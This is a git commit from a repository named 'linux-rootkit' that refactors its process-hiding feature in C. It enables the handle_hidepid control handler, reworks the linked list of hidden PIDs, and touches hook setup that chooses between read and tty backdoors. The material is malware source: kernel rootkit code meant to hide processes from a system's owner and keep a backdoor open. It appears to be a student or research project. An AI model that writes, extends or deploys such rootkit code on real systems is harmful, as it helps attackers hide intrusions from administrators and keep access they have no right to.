linux-rootkit

commit ff97524fe2135fadd7a9aab8ae7eea03792dee40
parent 293cc71d5d8c787dbda80be2bc2ca909e9120f01
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 12:39:35 +0100

refactors code

Diffstat:
M
src/channel.c
 | 
34
+++++++++++++++-------------------
M
src/hidepid.c
 | 
36
++++++++++++++----------------------
M
src/hidepid.h
 | 
2
--
M
src/hook.c
 | 
2
--

4 files changed, 29 insertions(+), 45 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -134,27 +134,23 @@ handle_togglebd(unsigned long arg)
 int
 handle_hidepid(unsigned long arg)
 {
-    char *msg = "ok??";
     long sarg = (long)arg;
 
-    /* if (!sarg) { */
-    /*     /1* unhide_pids(); *1/ */
-    /*     /1* rootkit.hiding_pids = false; *1/ */
-    /*     msg = "hidepid off"; */
-    /* } else if (sarg < 0) { */
-    /*     /1* unhide_pid((pid_t)((-1) * sarg)); *1/ */
-    /*     sprintf(msg, "unhiding pid %d", (pid_t)((-1) * sarg)); */
-    /* } else if (sarg > 0) { */
-    /*     if (!rootkit.hiding_pids) { */
-    /*         DEBUG_NOTICE("hidepid on\n"); */
-    /*         rootkit.hiding_pids = true; */
-    /*     } */
-
-    /*     /1* hide_pid((pid_t)sarg); *1/ */
-    /*     sprintf(msg, "hiding pid %d", (pid_t)sarg); */
-    /* } */
-
-    DEBUG_NOTICE("%s\n", msg);
+    if (!sarg) {
+        unhide_pids();
+        rootkit.hiding_pids = 0;
+        DEBUG_NOTICE("hidepid off\n");
+    } else if (sarg < 0) {
+        unhide_pid((pid_t)(-sarg));
+        DEBUG_NOTICE("unhiding pid %ld\n", -sarg);
+    } else if (sarg > 0) {
+        hide_pid((pid_t)sarg);
+        if (!rootkit.hiding_pids)
+            DEBUG_NOTICE("hidepid on\n");
+
+        rootkit.hiding_pids = 1;
+        DEBUG_NOTICE("hiding pid %ld\n", -sarg);
+    }
 
     return 0;
 }
diff --git a/src/hidepid.c b/src/hidepid.c
@@ -7,18 +7,18 @@ pid_list_t hidden_pids = {
     .pid  = -1,
     .prev = NULL,
     .next = NULL,
-    .head = NULL,
-    .tail = NULL
 };
 
-// https://tldp.org/LDP/lki/lki-2.html
+pid_list_t_ptr hidden_pids_tail = &hidden_pids;
+
+
 void
 hide_pid(pid_t pid)
 {
     if (list_contains_pid(&hidden_pids, pid))
         return;
 
-    add_pid_to_list(hidden_pids.tail, pid);
+    add_pid_to_list(hidden_pids_tail, pid);
 }
 
 void
@@ -28,13 +28,16 @@ unhide_pid(pid_t pid)
     if (!(node = find_pid_in_list(&hidden_pids, pid)))
         return;
 
+    if (node == &hidden_pids)
+        return;
+
     remove_pid_from_list(node, pid);
 }
 
 void
 clear_hidden_pids(void)
 {
-    pid_list_t_ptr i = hidden_pids.tail;
+    pid_list_t_ptr i = hidden_pids_tail;
     while ((i = remove_pid_from_list(i, i->pid)));
 }
 
@@ -46,13 +49,6 @@ unhide_pids(void)
 }
 
 
-void
-init_pid_list(void)
-{
-    hidden_pids.head = &hidden_pids;
-    hidden_pids.tail = &hidden_pids;
-}
-
 bool
 list_contains_pid(pid_list_t_ptr list, pid_t pid)
 {
@@ -60,14 +56,10 @@ list_contains_pid(pid_list_t_ptr list, pid_t pid)
 }
 
 pid_list_t_ptr
-find_pid_in_list(pid_list_t_ptr list, pid_t pid)
+find_pid_in_list(pid_list_t_ptr head, pid_t pid)
 {
     pid_list_t_ptr i;
-    for (i = list; i; i = i->next)
-        if (i->pid == pid)
-            return i;
-
-    for (i = list->prev; i; i = i->prev)
+    for (i = head; i; i = i->next)
         if (i->pid == pid)
             return i;
 
@@ -85,7 +77,7 @@ add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
         node->next = NULL;
         node->prev = tail;
         tail->next = node;
-        hidden_pids.tail = node;
+        hidden_pids_tail = node;
         return node;
     }
 
@@ -95,13 +87,13 @@ add_pid_to_list(pid_list_t_ptr tail, pid_t pid)
 pid_list_t_ptr
 remove_pid_from_list(pid_list_t_ptr list, pid_t pid)
 {
-    pid_list_t_ptr ret = NULL, i = find_pid_in_list(list, pid);
+    pid_list_t_ptr i = find_pid_in_list(list, pid), ret = NULL;
 
-    if (i) {
+    if (i && (i->pid != -1)) {
         if (i->next)
             i->next->prev = i->prev;
         else
-            hidden_pids.head = i->prev;
+            hidden_pids_tail = i->prev ? i->prev : &hidden_pids;
 
         if (i->prev) {
             i->prev->next = i->next;
diff --git a/src/hidepid.h b/src/hidepid.h
@@ -10,8 +10,6 @@ typedef struct pid_list {
     pid_t pid;
     pid_list_t_ptr prev;
     pid_list_t_ptr next;
-    pid_list_t_ptr head;
-    pid_list_t_ptr tail;
 } pid_list_t;
 
 extern pid_list_t hidden_pids;
diff --git a/src/hook.c b/src/hook.c
@@ -58,8 +58,6 @@ init_hooks(void)
         backdoor_read();
     else if (rootkit.backdoor == BD_TTY)
         backdoor_tty();
-
-    init_pid_list();
 }
 
 void